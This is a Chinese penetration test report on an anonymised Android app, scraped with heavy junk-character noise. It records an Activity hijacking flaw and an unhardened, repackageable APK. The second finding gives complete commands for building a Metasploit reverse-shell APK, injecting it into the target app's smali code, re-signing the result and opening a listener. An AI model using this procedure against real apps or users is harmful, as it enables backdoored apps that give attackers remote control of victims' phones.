原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

/ l7 a7 p- K5 H$ w5 b: J# E8 a

" V# J, M9 |5 Z" h0 Q - h |' _) {1 S0 t

" y- O: m7 N* v, ^7 [4 n 9 L8 V8 p% a" A6 M9 X3 }7 g( b$ v

h. I. i" P! e- `' N$ K) {* d: m

3 b8 ], T5 K" T2 M% c% _6 c, V 1 j$ a% ?* y7 r 文档编号：                9 t' L1 w* M# U$ C+ _

5 n5 y4 Y0 m& b- B

! z- Q% Q$ O! q9 B+ s2 ?- T   3 n/ }* F0 v" A* W % B6 c2 O7 N0 k' ~6 p

& G$ x$ R6 P* \8 p( v: U+ `3 z

 

9 M- P5 e) m( e( S* l7 a+ n2 C

# e, [' Q7 Z' d# ]/ M' d$ a # b& b* H3 Q" Y1 e1 m  

. j# ?8 W2 B# a8 [: C

: H4 n: d, P5 b) o6 }5 f$ {2 |; o 1 c$ r4 ?+ P# }- \+ a   % _4 E" S. o% H! r7 I: f' o! M; h$ o; ]' J

, D1 z. r* A! M% g) \ 7 K# t0 z3 e$ j+ A! C

D2 s3 F; K3 t+ c2 t6 Y1 e   + w8 d! m# ?# c. k& J T8 w

某某某APP渗透测试

% ]0 u: M; R2 S' Y9 _

  4 h: G, o1 f9 v

1 M) n; G; J# _2 B( E

  ! L8 o3 O6 G6 N+ e! M [# } " N' g m& B4 k- Y$ r2 ]

0 J; X2 Q' t: s, u9 C

: [6 `5 i; Q4 c) t7 J  

. a( @0 S( n, L5 ]

8 b* t7 B; z4 c; ^$ d: ^ 1 i& Q# t" w- |1 w" P) Y2 U* [  

+ F. R) C/ @( k6 `, b. l% C 4 T6 H: i6 Y4 h/ V 技 术 报 告 + c" ^+ v/ n$ E+ f- G 9 S8 w' K" R+ u ?) G6 q

 

 

5 q1 x. X" Z) p- t m u0 H ( G0 }0 {/ w7 p1 z

$ |; U6 v! P3 b* `* \% P 9 c2 Q0 [# S7 t' T6 l  

& C; i6 W. k# T% s

  4 k( D2 D" K+ z7 Q( v& |

6 h8 A f$ s( d: @ 3 {; }1 x! @. }+ w

$ x% q, H; i$ Y- B, x) R% f ( T1 h9 p8 @! s' H: P   5 M8 R5 c. w8 d $ E; u2 E; a% F

3 S% U! h3 l. o4 D0 j

7 |8 X; L& x# X' n8 g' V% s c   + ~% R* U4 j& Q- l3 E+ T

) ]8 J; G7 d/ v: w |# q6 ?0 F 0 h& e: J: b! W6 e* b: i

  : q- F) U; Y/ ] u0 y8 t1 E

( g, I. H: L- [, y

  " C! z& z( P. O3 w c

% i; D8 I E- d. w8 r+ s( j

4 h7 s8 ?* `; l/ `/ _8 E' S / N* c, r" ]) _, e$ y( T   4 E. R6 Y7 T2 n" x

0 O C( [/ L! }) Z B9 A& h) i; n9 ]$ q

0 W' ]3 G0 r: q9 } O8 p0 E- G 7 a8 Y7 D4 j6 U9 @) G. {7 h   6 H; Q7 e* y$ b, Y2 t# T1 R 5 }+ p* L% u5 R6 A7 u

* t6 h; \, R* ], k2 Y( {* z. ~

  ( z! c; s/ y9 Y5 c9 }6 I5 Z! v 8 |$ b( e0 b% O, P |

; X8 l# E: E. h$ E |: [9 Q# v$ Z % x: g. V) m6 O* C8 f( ?2 v/ q

# l l) G$ f( ?   ) X2 M) n( f+ {( s- r0 U8 B% h& r

  - }5 b( K: t9 i6 n

3 z, _ S$ {6 O6 Z

_6 s( T/ r. G! W, W  

* G( `1 H4 C7 K; Z1 r 9 N1 _) }2 m R8 e

' Z8 @" e) [1 B8 e: U 8 G8 q" j1 _8 }. Q9 Z- f. g8 t  

, q. g$ Z; r' ~7 z6 y: D / J6 _" W, N) M$ v- A' t/ i, j   % `' M7 ~% c2 P' p; X 9 g) G4 A$ k( b# e0 s9 [

0 Y( m7 t8 a4 o: J, C. V9 H3 i

( A2 [4 b0 ^4 ]7 Y5 p   ' o) g# T9 x e; F 7 d4 T5 F) y. ]5 y; D

3 G& O, c! x. [' W& t

  D$ C& Y/ V. z6 j1 p k : k3 v6 d2 B" V% D- T

7 f1 C/ J! Q7 ?5 @. F7 H 二〇二〇年

6 k; ]. k* S% y' u7 ^2 A: F0 [ 6 l/ [) M: W1 h( n1 Q$ s

8 c, M/ [4 l" H, e $ J: n4 j0 X) j4 K# {# G& i

. y, N* [- }9 i+ x# C3 Z3 J# {

( a% Y' L M5 g+ \/ ~ t 7 \; v; e& M8 A% h " P1 x, G+ y$ |8 W$ A1 K ! F9 a* I% ?" C) i6 ?# A

1 h# m0 }" K8 s2 { 6 ?% C- O) C e

: p$ {# R" ~$ i1 k% w 目 录

/ W9 P/ x2 a8 z5 ?4 S6 m1 u7 m 7 [0 G0 J1 S% s/ w/ h 2 i* {5 k W. z+ y* m5 H+ _0 z

 

% k" L0 B [8 L# s0 h1 W 1 概述... 3 1 V' ^2 \, b: x! C1 _- G: F & ~& Z1 k7 @- M2 H

3 p B. `4 ]# d4 V/ o$ g 3 x9 }0 x7 f( I* J( M5 K

1.2测试时间... 3

+ c8 w C0 X8 `* @4 [ 3 W+ V: _( t, `' v

1.3测试对象... 3 ' W: V8 c3 P3 i; K9 f# B

' u( P2 z+ {* O3 F) s6 ]6 z

0 H' B1 K) m* b, G( D 7 O; H0 {; C% i( r" f0 T" q! t 1.4测试结果... 3 $ x9 B3 S/ g/ r' V4 k9 w

; W6 t* k9 P. j( y . d( ]( P+ q' X! y( w4 s3 B

' q: |6 y7 H- | }% Q! U3 { 2 检测结果... 4 & Y% L; S- l7 t' z' v

2.1 某某某... 4 + r/ u' w' E( { h

; X3 a9 U7 u- q0 v7 m. N( l 1 v( i) V1 C4 b6 e$ m 2.1.1检测目标... 4 ; t7 H) h2 l- C9 M- b8 ?7 ]

$ _9 X5 H1 {! X4 d7 s+ [8 f

1 s: O0 X- Y( m0 B7 f( ] 2.1.2检测结果... 4 ( |' n& a' M; ?# G

1 `1 ^/ m i( T/ Z $ ~8 G" l' E9 F* _* ~2 i

/ V, F* K3 [; k7 H7 r/ G9 d4 V; u 2 s2 g9 Y1 y z% p 2.1.2.1. 4 " G, H k$ T* W3 j

2.1.2.2. 6

6 o+ b: W4 q9 w( y, w5 \ 6 ]2 [& L' D: F* w

" X) N1 s# A4 Q3 ?! I" k+ z; P * X* H, W6 _; B( w0 Z

9 P6 t. ~8 ], S3 h& M7 ^ 6 r$ G, }- d' b" g& D8 E
# f) K0 c7 |# Q+ E; e5 W6 M' I8 \ ; M4 o6 `. N; K/ h/ b5 j

r( T+ _; K2 ?6 r4 J 1 概述 : N/ w; I: A" O " P1 v0 `2 d6 ~2 U+ _0 I$ P3 @6 G

8 v# w8 |9 Y5 Y8 E# p

! _" f6 I/ b) H# U+ i% C" } 1.2测试时间 ) A- p; \! J, ], ~! j* N, G

! a4 A3 Q, u$ l( j! } , A6 q7 o) F; R $ W# C4 i4 P7 J2 L2 h; f+ u5 d/ d+ d9 t( A9 B n; X4 _. P5 Y6 {8 R2 t. }, J- \5 }( {/ x# `/ w/ r# ]5 @6 m& r* r! N* p" K2 X) t( g4 I Q. ` Z- l! \" C$ F; `( f. o7 p7 j- G( k o) b2 P+ S, d e+ N4 A8 V$ p" x( g1 u0 A1 H* P6 [- c9 F# a1 J7 T1 h* }1 O$ P- O

8 W1 i# S- S: g 6 B' F$ k$ E B* V o$ E 渗透测试时间 ' w6 z, g }" v( O; o , I. Y7 i7 k) i* m/ \6 ]
$ W4 P. _ D- H9 p3 K2 \' E 2 _+ P- j5 S6 i 起始时间	. A+ w5 H) J3 P2 a. a# w) \* L , Y) J% }# I: e/ `, H& I& G; O 2020年4月6日 ' c- Z# t4 S$ x$ c( a- M& j
9 k) v. q4 f, h G6 T5 A- Y 结束时间 7 @, f0 l6 Z8 T4 |* Z 2 y% u; P* W y4 P+ s. s" z % p* N/ @/ j6 ^# |8 t2 T( B 3 |1 i6 X G& }# o0 Z$ j	2020年4月9日 . C5 y1 d0 k( y 6 a( H2 H% z2 Y6 H! u

& P7 z- A0 n- L2 l% v4 M

1.3测试对象 % J) ~- s" J% {$ [' ` * A2 h. Y- e$ q8 t0 u) ~

2 d- f& ^0 [9 Z; X/ _

% @+ Z7 ?3 J2 O5 ~- v8 @ 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

6 U6 u2 o, _, @! |1 Y3 x$ K" ?

表1-1 检测对象 ' `! X) ~! N* k3 w, R

$ L) _, n7 E, U& b ; [/ N7 W- X3 p5 x6 E8 d2 i3 ?2 ~3 C1 K$ W5 g) c, F/ y3 R* v: U3 x3 f! s* w: f6 }4 G {' u8 e$ t. b: s: n7 d7 L4 Q3 A+ ]* E/ r. l8 |1 V7 e% [, @; i7 r: f) ?& X/ K3 E1 A- v0 M8 Z- B% l- M: Y* Z8 F2 C! X* \5 ^) k$ ~1 X9 Y' p, ^0 }5 q, X: _1 U" r/ n* F0 m! h7 a* w, J- B- C" v4 T2 [

7 e- p* g% @. a# f& S- @+ Q 序号 * g; h- W1 n' @1 ] 9 I3 I$ O1 f3 ]9 Q1 ~ % G2 u0 u0 L. |3 P# G 9 r1 G0 B0 [% _! @' ?, Q	* C- e, Y7 X& P8 n+ \ 测试对象 $ W$ M$ v$ U0 z, t" E ) J6 t2 k9 D9 G/ S5 g: J" q% a" w$ _! s	测试地址 ! d, ~- w# B* h3 }! F _ 7 E2 y! x; q, w2 ^1 d! J2 ~: H 1 {" J0 t% R' z& U9 o	% R, _" Z- K6 S" T) S $ z. d0 g7 O, X* V8 a( j( o 9 h0 d" j3 e5 \' P ) m* I0 \* G1 ]; I, ` 安全漏洞
! a. B+ d- m) l2 ]/ G* W 1 ! p2 c {9 G! T6 ]+ X 4 S/ ?) |% z0 V O5 b& u: }* u	& U5 d" ~3 q8 L1 W6 Z 某某某安卓APP + G3 {, e$ v# N4 O% m / X' p. s! U( I ! g9 h6 c9 S1 C' [& q% o- S	6 |: w( e+ [* ^ " Z2 f4 h" p& m. [+ ^* ]5 \% x   & J0 w5 F q8 G 4 u# g! F) L. f' ~6 r+ d 7 p: l6 l# k- O( e	* u. s# b T T, W, u, w2 \ , h ]+ U: b% _ 2

0 }* Z' R2 u3 u9 i+ ~* L, N

1 o& z' p/ e' F8 Q8 s) c) A$ ~ 1.4测试结果

! i1 y. O4 A- v) a' |

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

2 P; x0 ^% \; l6 c9 R( g 6 C, {7 Z( s% V/ f5 R

3 s& D9 ]- m- u6 S) T0 y   8 P) z& u7 |3 h$ E* \2 E

% Y; a6 b: c) V5 A/ R5 w

8 B/ @1 Z' F: R+ r0 ^5 z2 \" W4 V1 p0 n7 T- L2 p* L, W5 [' f- G+ L& o, K2 K8 |' u2 C) A3 [9 {, A0 K" p p7 l' u$ H9 U6 \* n, S+ }5 H R8 M0 `# ^0 L2 ^' v: p& K6 D; {# T( Z' p7 z7 Q& V3 W' ~9 W. s" o) b% e. ^, G: U6 a- m& h3 k' b2 T0 |: R0 g0 z/ u9 _' o! j5 |1 M5 p2 o% E( i# k$ Z q9 j, N9 w4 z9 u7 J) y% L. k- Y0 Z4 _9 M( D3 i& R0 K3 j4 V& @' |1 r0 ~0 q( p; z7 }% G. w/ ~& y+ z7 ^- k; X8 u0 d+ p+ D: l7 x9 r3 T: L' [" T& j% P3 T+ T" M1 U& h3 d7 c8 B# ?6 l' r: m" L1 w7 h2 b$ v$ A3 |" B0 Y) v# P9 c- X' e. A7 R. K' F- T% K! S3 D0 H) {" Q( F' m# D( Z) L `1 f. t8 s: L4 m- |: _: d* y# t2 h+ t8 \7 R4 q: j: y5 m( K( l4 c+ [0 p f5 W6 S# l: m( p. c- g, G9 R6 |$ h h2 j! i' x: U7 _$ Z6 @" [4 O. I$ L0 \( V% g8 j4 J) e$ t- O# h3 Q a& C# h! r% p/ A- u

8 @# n- E& G. H$ n, ^ + H: n0 a3 J2 m$ p ` 序号 3 T. J1 K, \% w0 u & g3 J# {1 l' K1 l: A1 g, x1 y$ a	C- [: a/ R+ r+ h6 n, Y' V$ d 8 t4 T6 J& T3 I- b; S9 s 系统名称 ; r( Z/ Y8 u% w. L8 D0 L- b * ]+ z* D5 \) J) f) r$ @, e* v	9 n$ g; y L. ^/ ~ : D) m6 H) S" y$ K l5 M4 `3 m 漏洞名称 , L7 ^" J3 o# R / Y2 w2 T8 I& C9 }# c) V4 ~ ) ?3 O1 _" w8 ^1 m" H	. f9 G: M [+ C5 F0 ` 7 L+ J5 ~& T' u6 I 漏洞危害 ( n+ a' f9 j0 A	6 o' w% D' ^ t/ T4 n+ C2 l 修复结果 7 @! r# }3 E7 P
, I8 C. t5 `6 @3 U$ C Y 1 w1 Z1 {- y! @# S3 a: B/ _1 p ' b8 L X0 D6 j3 U8 K1 C$ z4 k9 [	% [; {+ X: T2 E* X6 h$ {7 g 某某某某某某APP ; `3 m5 _8 @/ o, j" Z/ K) ` i: Y, Q: { n$ X) h6 ?9 i4 n7 L v! E3 r: |% z+ ]0 t 9 q, y+ l! `5 g! N' Z	0 @) A) R3 ]# P, ~ ! U4 q+ \. _0 }( m/ n; X Activity 劫持 % v* \2 z9 u. @" E6 y% n % `1 j6 O1 K+ W; T @& n: }. R' Z: C" W" B 3 U) G2 v' E$ ^/ G8 W2 {   - M9 e% Y7 A+ D) A- f. K 8 Q4 Q) T4 y0 L- o7 C7 P3 o9 g6 L: j	3 \1 g. K4 c* i' T0 g9 ?7 Q" w7 ^ $ w# i4 r+ L6 P' w5 h 2 }3 Y/ s7 q7 }5 y( b! V1 L. O 高 3 c6 e: y! a2 p( U: K* @3 i 5 A* g& _0 e6 v" e$ E4 k$ I) t- V7 } 7 D) E& C8 G8 C) \" P3 r" `	5 E+ _$ \, r6 {3 Y" {1 \& B$ L 0 r+ ^6 N9 J3 @6 G9 s# n   8 h: w7 O# {; J0 Q+ m & n# p; m% _4 M/ }* a# W
9 H- C' [. r- Q' g) R$ i3 q & h5 q: U8 [/ X5 P 8 G& h9 e9 s% t3 K7 ? 2 * [1 n' X) K* ] 2 [5 z3 W$ Q% d7 N( z	某某某某某某APP ( r5 J# m' Q" @0 K7 C 2 r4 q0 A& u- A9 z7 X3 ?5 t5 x	7 \; y) L, b, E. d ; g: D2 H* |4 p( D4 U % l% T# f3 s: A" S 反编译二次打包捆绑木马、篡改APP代码 9 K0 H) n) u/ M8 E	% c3 G( m* }7 x Y+ k6 u" G ( ]. m7 R+ r8 @' d 2 v+ z. f0 w2 p 高 2 [! p# X; F5 b6 x 1 |! m4 w: F, w% G$ u	. \0 A. w4 O5 K7 f" f. U) q   ( `$ s3 }+ a- C7 T8 O5 T! H 0 P9 p& A9 P# F* m L! d) u 7 O0 f5 F# N4 \) \1 |+ f* _6 c

! s% h; `+ W) r; B# t$ h) q # r; F" L' E, A2 N

) q4 A% \& J( I1 C8 f$ U* ?   # S1 X9 j/ {& V+ w6 }3 h

3 I% \" v- h0 G9 F& g3 u- K8 A* G8 _

表1-2 测试结果

( Y" g# r8 H& C. e

' w, Z9 ~* ~8 j6 q) A % R( I& s/ m! v* b7 g5 L   ; s3 r& }3 q6 X# R2 s 7 n3 @6 s9 a9 \3 s+ @- @2 J

% ^; A. a0 w2 M' l2 s- B 4 }9 c+ ?- s$ j/ m( k; a' v

9 R- |$ g+ I8 M( y" x# Y 2 检测结果                   

. _$ O9 x& K% P% { l# }+ G

2.1 某某某

1 Q6 U$ b3 G$ g; ` r4 s0 z , X" z: D1 g% t$ U6 v5 L' X

( z9 c( {8 \: B- P' v; j1 D0 t, [ 2.1.1检测目标 6 r) b; `9 w$ q2 p7 R; N3 R! O 0 c, O& G+ b) w( H) O6 z9 k

) a+ g* Z% i* @0 Z4 v

目标地址： 某某某某某某APP ) O. q6 ~' v; l. E( n ( E# D: V4 f4 W" d5 e( w5 N$ K

8 k) S! t$ c: K1 L" c' c+ \# ` I `* \6 ?( h

2.1.2检测结果 9 ]8 W/ q- b+ c

; |/ O' i) `, U 2.1.2.1 7 y: y }9 D% h- _3 T% v" i

" u4 ^/ ]* R. q0 n0 l7 U

1 M' m5 G; ^& i' w$ N/ |- ^ ' Z. W$ \9 J" B; O( r4 [; J1 P 漏洞链接地址：某某某某某某APP

- [. S/ q% k) ~) U4 m * f9 P! P w) ~; _; ~1 h

 

/ O J8 E" j. X G+ `6 O

漏洞分析及取证： ! P! H- i/ B) W! ?- j1 u$ f - G4 T, \/ j1 J1 h( c

5 \+ A. y8 f! i/ j& N! t( s & I. D7 U, f" C7 }

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

, T6 Q& b$ x+ m( [# O# m     

% A" l2 V# G1 k6 S

5 {5 L! L0 o& D8 w " v. X0 {) {. a) A                       & {0 `0 F4 \/ y $ J, Z( s F# {8 L% d

& `6 J9 ~$ F3 k/ Y3 b , Q4 y0 }- ~% \' q

8 X. @! z# w6 v0 L; B + @! k4 e4 s, M' d' D' ]

, v, E( |2 i) Z$ Y& ]6 c. M. s

" J$ ~* R. A9 N6 R! B6 A7 u / Q8 X% W. Z3 l& v5 k 5 T% w- X" t$ S4 o g) z

# C1 `. {- {7 c3 w- A 8 k& i2 j/ f# \5 g

+ b$ G* k% i! C- B$ s- P

漏洞危害：高 9 K8 B! w! G: o5 }

8 |2 W8 Q$ v" f( p) l: T

" R; K0 t' ?/ k2 `* P; z' S 3 G; O" ?1 w5 L; m ! R) t+ K) t; w: |5 @( o( g, R U1 Z$ e' z0 e8 C' O, X' x/ R1 W1 E9 z4 o- D; Y! n& K; i1 f! }1 _% o+ r- y. t/ N" y1 g( g5 H# N7 U2 M2 ]. ~1 K7 O! _0 L& c G$ R; I& B; r2 L; a; b& _3 d7 E. x; \- x8 H8 C' X: z: `7 D- O! Z5 F: r. g* V- i' e1 M; G/ U" z" r9 H7 { ~; r& L# q @. \% p5 N& i7 X8 X: w( {+ A4 l; M* s2 A, g1 m7 I# j! P) \" E& r$ a& `9 x1 g3 K V5 P4 k6 u# T7 v* x8 M2 k$ M& N

& {. x: M2 Q9 I 8 ~- M9 S7 W- S a$ C8 G. g 严重程度 , n1 Q# _, V4 q; g / d6 i3 T2 X9 [# p7 E$ t1 X2 O	2 z) N# {* c( O& J- z0 e( U0 z 高 ^, e+ ?9 H" f+ \	& K" z- i/ ?2 B* x ■ 8 G8 O+ e8 j+ g$ Y	: Z( A8 c: c. _ 7 j/ E6 _5 `6 q7 l8 R# B% b, u 中 / y @5 B' }0 w: a7 d% q1 }! G $ N, U$ i' l9 v3 a + {$ y" b2 ]. j	# m* m! Z% A h5 V* C$ F$ O 0 ~- q1 r2 Z. W5 z8 k8 E   # p+ d+ X8 s( H+ L; n, J ( J* f+ A; @3 ]6 j- L8 r. i : d1 f0 Q; q! x9 a2 L1 k	8 W) l! M8 E0 v. C {2 A+ x6 ?" v2 f& W 低 8 c* h: p- e* R/ W) ^) H' u5 K 8 ^9 D+ o2 R2 j% b: b* }" G R6 b/ b _3 ]$ ?: c _( O ! t- }. A! D' M l7 V4 k; t. R	0 ~5 G" R4 O: k4 T7 J2 J 5 @' q- _/ G/ A; r C   2 Z/ U( ^9 P c ) I: D* U" b v: q & n& y0 x" J0 k6 p; Z

2 Q. F) }2 g6 t7 S& u

: e% S9 d; e7 m+ d. ]1 p: G' _ 9 L- Y2 c2 d5 y5 A( B% d% t9 I   : m* b* ]/ K: W1 Y X* T

4 v: i( q! X9 A3 f9 H 9 q0 A) I: U4 B

5 j3 k" l$ ~* j! Q; q. R 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 , o+ b/ ~: [% R, ^) q5 w

4 I0 v) ?! X' k j7 ~" q% U

6 t3 l7 X( y3 N, E7 p           ( {0 }/ \; i" ~' G$ n

. B- r8 Y$ [* d' t5 y% r7 R  

$ A# Q. Y' _5 x% \ + G( U0 ?; B5 x; f 2.1.2.2 $ B9 J4 Z6 v8 d6 m" B- m

# R, K& F1 \9 m3 M% M

2 W5 P) ^6 {9 b( t% d * t. L* |+ T% n& a4 Z) x( e 漏洞链接地址：某某某某某某APP 2 h" n% g% p3 `9 ?, {5 f ; S6 B1 O" s0 a# L) p/ k

7 w% e- \. K* i% ]. }9 x 漏洞分析及取证： 0 u; z4 L+ p2 ]8 n3 a; l% i8 l & c) \0 E7 n: J; B b

1 r1 l2 w( C/ u, ?: ~# ?

! s# A" ^- d" r* x                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

3 `% i; S( o. r4 ^ ' D( J2 T7 }( e+ C' J4 ^2 @

用Metasploit 生成木马 apk : g k% j t) `2 F/ ]7 F2 |

% u' ~2 x8 H* G% l9 R( o/ J: w7 T, O . ~, f& i C3 R$ `3 O( V w5 h

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk W; ]1 m, m% B5 I " J4 w9 j+ l1 _" I

/ x1 A$ D5 \* b9 X) O I

( _, \9 Y F9 L( b( w% Y 反编译目标apk和木马apk + j+ Q. q/ p, z" r a) h

1 B8 K$ a, Z8 j6 x* p) N ( A/ h! ?% x! |5 g/ s2 t

* p1 s2 k, ?' b2 i7 O! B5 Z5 f4 F apktool d target.apk
apktool d cockhorse.apk 8 P# @& A, y) U7 {. Y

1 ^* v/ L! E2 Z

b- x' n0 F. w# o& T" O6 ?' r 7 T+ | M5 `: W" y 木马 apk 注入目标 apk O; I2 V$ A0 x+ m: l

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 4 d- B5 X+ [- V) b5 F+ S 0 U1 l1 M Z4 v1 D

" z$ f) s; N/ E0 w : C1 ]; ~% y, n6 k5 w

+ C' }3 U8 ~# K- S 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 7 f6 C# n' j: r. {$ r$ i* n

' V0 Q* G: u* @+ X) z* K' f4 S* l

) A( s. P4 h( O 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ]9 z- |3 v! W6 E9 ]' K3 B

6 _1 Q$ v( c, [" {

* ^- _2 I& k# x& p' P 回编译生成最终 apk 7 C7 ^- \. n% L" g; X

9 n. @+ i/ [; b8 Y8 n 6 f' V1 T4 E) V! o

! K3 I [; _( N+ w8 m2 Y2 [; m1 c 重新打包 * N2 h1 I- m9 U 9 w+ C+ h4 w; P! X

! X5 \+ X; R5 o2 Y+ D0 ? , \" d) }$ _' P% F' t9 q

L& ^% T5 H. p: U; q0 _& u! h9 L4 R apktool b -o repackage.apk target_app_floder / x( h+ N0 y( t. I* c3 u: ]

2 Y8 \6 C( n8 q, R# P2 D ) c6 J2 W J2 K' M4 k

+ G1 O3 G& N; D 8 q& u9 z' d1 H g) D( w 创建签名文件，有的话可忽略此步骤 " J5 J2 M, x- F+ E3 P, j0 f3 S . G: w, X ?* a# ~6 F

t0 @% p( e7 K ) X5 T8 r0 E8 H3 V- [; {4 m

3 n/ F* ]: v1 A1 d keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                $ p7 h1 l9 ^1 F ^: |5 T

# C, }: Y& ]& e; _& e% I8 a' }% p; }

( H$ R) u7 C, _) p, E& F. h g. Z! }0 F8 i% q 签名，以下任选其一 * j( ]- G* C+ a6 c1 i( T* y4 [

jarsigner 方式

. j+ O0 @1 C& T8 }# T* k8 Q& z jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

" }( Y: z4 _8 w( t + n, R' V6 P8 N; c$ R- W

apksigner 方式 # q" O5 k8 q# H- R8 V

* {8 V) S, a" g7 Z" ?' n

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ) N. n: C# f+ ~2 b& I # f% `) ], f4 \1 R1 J. v6 r

; Y% P" k1 s$ Y9 ^- i: | i3 q

# Q* n9 e8 }4 u3 E; }; X 如需要禁用 v2签名 添加选项--v2-signing-enabled false : q) s) @% _+ _5 X( r* W. d

2 Y- B$ }0 R) [5 M

, F1 u2 k; S4 x 验证，以下任选其一 0 g. b! `8 Z: J# n! j" K / e( p. d1 a# S: T6 [5 v8 h

( d$ P0 { O9 |+ W7 c4 f ; s" i* Z! z5 u. I0 {! K& f

! ^& {' E4 M- w; k jarsigner方式 $ }+ n! e J" u$ }

. r: |7 J7 H7 r ! X9 D' D" K: D9 ~: U1 ^$ B" Z% [% C* X

# f! L: F5 t8 b" f& V! j' ] 9 t3 G# D8 s6 ~$ |7 @ jarsigner -verify repackaged.apk ; L# N5 ]' I- [/ Y* U

& v4 T' B$ h+ W# N! W9 J

" e. d, T' `6 _6 s) U; g apksigner 方式

5 y9 [3 d6 X0 J8 x( T

! z2 m# a% }: a2 h% m apksigner verify -v --print-certs repackaged.apk . a! Z2 }8 t. f; X! p5 z4 h

0 ~/ I: Q, O0 |! D

* T- g+ ?; O% k6 @ 6 T ~- p5 u# Z' ` keytool方式 . \6 d6 i% T% q8 O

& ~& A: {+ T% P% H' I$ L1 I1 i # ]1 R* v9 z8 c keytool -printcert -jarfile repackaged.apk 1 h k! Q* H- i- {" C' d9 g' x

# F# u# S' A/ G! T , m+ \. m9 @( e6 ~0 h! x

对齐 * |/ }( w6 f! [* h! \5 p% ^

. Y) w/ Y- ~3 b6 M( X! E, [+ ]

- [" d- E3 \8 q , k$ i n1 a+ p! F 字节对齐优化 7 H7 i/ I1 b$ j) K7 y; b, M

R" c! ]2 J5 ]- k: t 1 S9 |) A' V# U$ Y6 q3 j" q& b. K zipalign -v 4 repackaged.apk final.apk , n: K. H$ Q: w( ^9 Z) g) W- [+ `: B $ C8 `1 [2 u r- C1 y8 g

+ u+ Z: \9 b. S1 \* ~/ @6 z5 t " j% C' y* V! h

检查是否对齐 - I4 V! Y0 e6 S+ g: B; `/ I

+ c: B7 R- `+ {( W" F/ L* x : Z5 L! P4 X2 T$ o; }

* S+ K5 H, w0 X/ G7 I& l# z8 r zipalign -c -v 4 final.apk 6 a% Q) ]8 ?* M: E, _( p0 w

+ O1 s# J* H. }5 y j9 L

9 x5 L5 ~( L3 S; `' o 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 / W8 S: S* N* s- m 9 D$ G, G' m# X0 l% a( c0 m

8 x; S" i3 g* E0 n

1 m1 x+ n% x3 ?7 i 启动Metasploit控制台，配置参数等待上线

- O1 r5 K' a1 @% V8 R" Y 在终端依次输入如下命令 - q2 Y. j: I% A- b

msfconsole

- d1 B6 D4 I# i1 j( J 6 G* Y+ L% l. ~* T5 z2 i1 f, j

. i# Z4 W; J* l& z use exploit/multi/handler " p$ j6 K. D( ?- L. o/ I" N& Y- q

% j# Z. X9 m/ H& v3 Q, R* d

0 h1 H9 z( H; [9 ^/ t+ J set PAYLOAD android/meterpreter/reverse_tcp + R$ h. Z8 | J% A7 v - T1 g* o& l( \/ r0 `% F

7 }+ u: K& u7 K. d2 u2 m1 r6 d* o

7 W, o6 q( A1 w4 E , I2 t! S3 v! U; z set LHOST 192.xxx.xx.xx 4 C2 G0 K, S2 z( p7 k+ K" a/ A 2 E( f) z' P; R! Q: e0 ?$ T

9 w8 y" w k$ c/ P/ [& r

set LPORT 4444 ( R# @. S# [+ H& e3 c

exploit ( \: V. Z/ ?# q9 j3 q4 G

, |* \9 p8 N3 j/ p7 A, T7 j \2 Q

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

# T. o: r b0 T2 T: v

2 U. i; x9 }% n" z; ^; b1 D" L6 x 漏洞危害：中 9 ]0 F$ l( v: D/ R3 W1 V5 b% j

2 |' L2 q; D9 `( C7 b2 T : Q5 u" Q9 m, c5 M% F. x

3 L- r- E0 n9 M! j5 B) |6 R* B 6 F0 f, k+ q$ G( Q+ z8 N : l" x# q. ]- A& v y- C; b" G: V9 X5 V1 I# R# j6 `9 W8 S( ], l s) X3 B3 X5 q: U$ V9 x$ B& D& k0 J; b- L2 k* I6 W6 B; m4 P& w! B) h* I% I5 d8 X$ | v) D# A! U7 P: Y7 L) d0 c; B: k5 _7 f6 _2 f# P6 k# b) q/ v* L8 }3 Q2 Q0 M( @, {6 `+ R0 [! p3 r0 S% N% h$ G- U7 X# t/ I! w% H- f9 x& }3 U* M7 z$ [& u; J1 _; c9 O4 ?& I1 p1 o& J% t6 ~" m2 M! ^8 u1 i

